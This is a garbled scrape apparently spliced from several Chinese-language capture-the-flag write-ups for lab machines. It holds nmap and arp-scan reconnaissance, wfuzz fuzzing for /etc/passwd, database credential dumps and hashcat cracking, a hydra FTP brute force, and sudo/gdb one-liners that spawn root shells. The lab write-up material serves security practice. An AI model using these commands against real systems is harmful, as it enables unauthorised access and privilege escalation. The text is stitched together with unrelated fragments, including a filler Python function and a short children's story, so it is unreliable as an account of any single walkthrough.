3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.384 seconds (107.38 hosts/sec). 3 responded
192.168.31.122就是ip地址
nmap 192.168.31.122 -p-扫描端口
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/Desktop/tmp] └─# nmap 192.168.31.122 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-26 08:21 EDT Nmap scan report for 192.168.31.122 Host is up (0.00090s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:71:20:21 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds
80端口
查看页面源码，在最下面可以发现有一个
1
<!--Wrong paramter to GET-->
对get参数进行fuzz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root㉿kali)-[~/Desktop/tmp] └─# wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.31.122?FUZZ=/etc/passwd" --hh 18851 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.31.122?FUZZ=/etc/passwd/ Total requests: 220559
===================================================================== ID Response Lines Word Chars Payload =====================================================================
number = random.randint(1, 1000) result = math.sqrt(number) * math.log(number) print(f"Calculated math nonsense: sqrt({number}) * log({number}) = {result}")
def simulate_time_wasting():
now = datetime.datetime.now() print(f"Started wasting time at {now}") time.sleep(2) # 故意睡眠 2 秒 later = datetime.datetime.now() print(f"Finished wasting time at {later}. Time wasted: {later - now}")
Started: Wed Mar 26 08:44:44 2025 Stopped: Wed Mar 26 08:44:49 2025
noob就是密钥，用户名伪造成admin，可以看到留言板的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14
debian@Newbee:~$ mysql -uroot -pTheStrongestPasswordHYHcreated Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 5 Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
No entry for terminal type "unknown"; using dumb terminal settings. No entry for terminal type "unknown"; using dumb terminal settings. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
user库的user表里有debian的密码
1 2 3 4 5 6 7 8 9
Database changed MariaDB [user]> select * from user; +----+----------+--------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------+ | id | username | passwd | salt | passwd_hash_algo | +----+----------+--------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------+ | 1 | debian | 2c082e3ff2ca15e3b24f815d70653f0dead09534495069dd140e19adb2d117266cc4b1de8daf55c7c4827a0a5ccf70c6f537ffc4ddc74db4865c41c0 | 8bf3e3452b78544f8bee9400d6936d34 | pbdf2$50500$60 | +----+----------+--------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------+ 1 row in set (0.001 sec)
Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed! Do NOT report auto-detect issues unless you are certain of the hash type.
Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256
INFO: All hashes found as potfile and/or empty entries! Use --show to display them.
Started: Wed Mar 26 08:49:58 2025 Stopped: Wed Mar 26 08:49:59 2025 ┌──(root㉿kali)-[~/Desktop/tmp] └─# hashcat ./2 --show Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed! Do NOT report auto-detect issues unless you are certain of the hash type.
3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.402 seconds (106.58 hosts/sec). 3 responded
ip为192.168.31.100,然后用nmap扫描端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root㉿kali)-[~/Desktop/tmp] └─# nmap 192.168.31.100 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 07:14 EDT Nmap scan report for chromee.hmv (192.168.31.100) Host is up (0.0019s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy 23333/tcp open elxmgmt MAC Address: 08:00:27:F9:E1:65 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds
The Lost Key Lily, a curious girl, found an old rusty key in the woods. Wondering where it belonged, she asked everyone in the village, but no one knew. One day, she discovered a locked stone well. To her surprise, the key fit. She opened it and descended into a hidden passage. There, she found an ancient chest filled with treasures. But the real treasure was a note inside: “The greatest treasure is the journey, not the prize.” Lily smiled, realizing the adventure was the real reward.
┌──(root㉿kali)-[~/Desktop/tmp/test] └─# hydra -L ./name -P ./pass 192.168.31.100 ftp -s 23333 -f -t 50 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-21 07:32:30 [DATA] max 50 tasks per 1 server, overall 50 tasks, 208 login tries (l:2/p:104), ~5 tries per task [DATA] attacking ftp://192.168.31.100:23333/ [23333][ftp] host: 192.168.31.100 login: adriana password: Lily2020 [STATUS] attack finished for 192.168.31.100 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-21 07:32:31
爆破出了账号密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(root㉿kali)-[~/Desktop/tmp/test] └─# ftp adriana@192.168.31.100 23333 Connected to 192.168.31.100. 220 (vsFTPd 3.0.3) 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -al 229 Entering Extended Passive Mode (|||20808|) 150 Here comes the directory listing. drwxr-xr-x 2 106 115 4096 Mar 09 08:13 . drwxr-xr-x 4 0 0 4096 Mar 09 08:12 .. -rw-r--r-- 1 0 0 3414 Mar 09 08:13 ... -rw-r--r-- 1 0 0 495 Mar 07 14:40 dic.txt 226 Directory send OK.
follower@Chromee:~$ /usr/local/bin/doas -u softly /usr/local/bin/wfuzz -z file -u "127.0.0.1" Password: /usr/local/lib/python3.9/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. softly@Chromee:/home/follower$
5 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.000 seconds (128.00 hosts/sec). 5 responded
ip是192.168.31.178，nmap扫描一下端口
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/Desktop/tmp] └─# nmap 192.168.31.178 --min-rate=1000 -p- Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 01:27 EST Nmap scan report for helium (192.168.31.178) Host is up (0.0046s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:D1:EB:7A (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 20.85 seconds
paul@MiWiFi-RA71-srv:~$ sudo -l sudo: unable to resolve host MiWiFi-RA71-srv: No address associated with hostname Matching Defaults entries for paul on MiWiFi-RA71-srv: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User paul may run the following commands on MiWiFi-RA71-srv: (ALL : ALL) NOPASSWD: /usr/bin/ln
1 2 3 4
paul@MiWiFi-RA71-srv:~$ sudo ln -fs /bin/sh /bin/usr/ln sudo: unable to resolve host MiWiFi-RA71-srv: No address associated with hostname # id uid=0(root) gid=0(root) groups=0(root)
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.972 seconds (129.82 hosts/sec). 4 responded
ip为192.168.31.22. nmap扫描端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿kali)-[~/Desktop/tmp] └─# nmap 192.168.31.22 --min-rate=1000 -p- Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 02:14 EST Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 95.30% done; ETC: 02:15 (0:00:01 remaining) Nmap scan report for twisted (192.168.31.22) Host is up (0.0065s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 2222/tcp open EtherNetIP-1 MAC Address: 08:00:27:63:FE:59 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 22.61 seconds
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.976 seconds (129.55 hosts/sec). 4 responded
ip为192.168.31.165 ，nmap扫描端口
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/Desktop/tmp] └─# nmap 192.168.31.165 --min-rate=1000 -p- Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 00:19 EST Nmap scan report for vulny (192.168.31.165) Host is up (0.049s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 33060/tcp open mysqlx MAC Address: 08:00:27:6C:16:9B (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 28.56 seconds
开了一个mysql服务和http的服务
80端口
扫描目录能扫出来有一个secret的目录
1 2 3
┌──(root㉿kali)-[~/Desktop/tmp] └─# curl http://192.168.31.165/secret/ Neither <b>/etc/wordpress/config-192.168.31.165.php</b> nor <b>/etc/wordpress/config-168.31.165.php</b> could be found. <br/> Ensure one of them exists, is readable by the webserver and contains the right password/username
www-data@vulny:/usr/share/wordpress$ su adrian su adrian Password: idrinksomewater
adrian@vulny:/usr/share/wordpress$
1 2 3 4 5 6 7 8
adrian@vulny:/$ sudo -l sudo -l Matching Defaults entries for adrian on vulny: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User adrian may run the following commands on vulny: (ALL : ALL) NOPASSWD: /usr/bin/flock
┌──(root㉿kali)-[~/Desktop/tmp] └─# nmap 192.168.31.116 --min-rate=1000 -p- Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-23 06:29 EST Nmap scan report for hommie (192.168.31.116) Host is up (0.00041s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:26:B1:6F (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 10.27 seconds
80端口
1 2 3 4 5
┌──(root㉿kali)-[~/Desktop/tmp] └─# curl 192.168.31.116 alexia, Your id_rsa is exposed, please move it!!!!! Im fighting regarding reverse shells! -nobody
5 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.984 seconds (129.03 hosts/sec). 5 responded
ip为192.168.31.77，nmap扫描端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿kali)-[~/Desktop/script] └─# nmap 192.168.31.77 --min-rate=1000 -p- Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 09:09 EST Nmap scan report for connection (192.168.31.77) Host is up (0.00064s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 08:00:27:2A:5F:AA (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 11.11 seconds
=================================( Share Enumeration on 192.168.31.77 )=================================
Sharename Type Comment --------- ---- ------- share Disk print$ Disk Printer Drivers IPC$ IPC IPC Service (Private Share for uploading files) Reconnecting with SMB1 for workgroup listing.
www-data@connection:/$ gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit <mport os; os.execl("/bin/sh", "sh", "-p")' -ex quit GNU gdb (Debian 8.2.1-2+b3) 8.2.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help". Type "apropos word" to search for commands related to "word". # id id uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
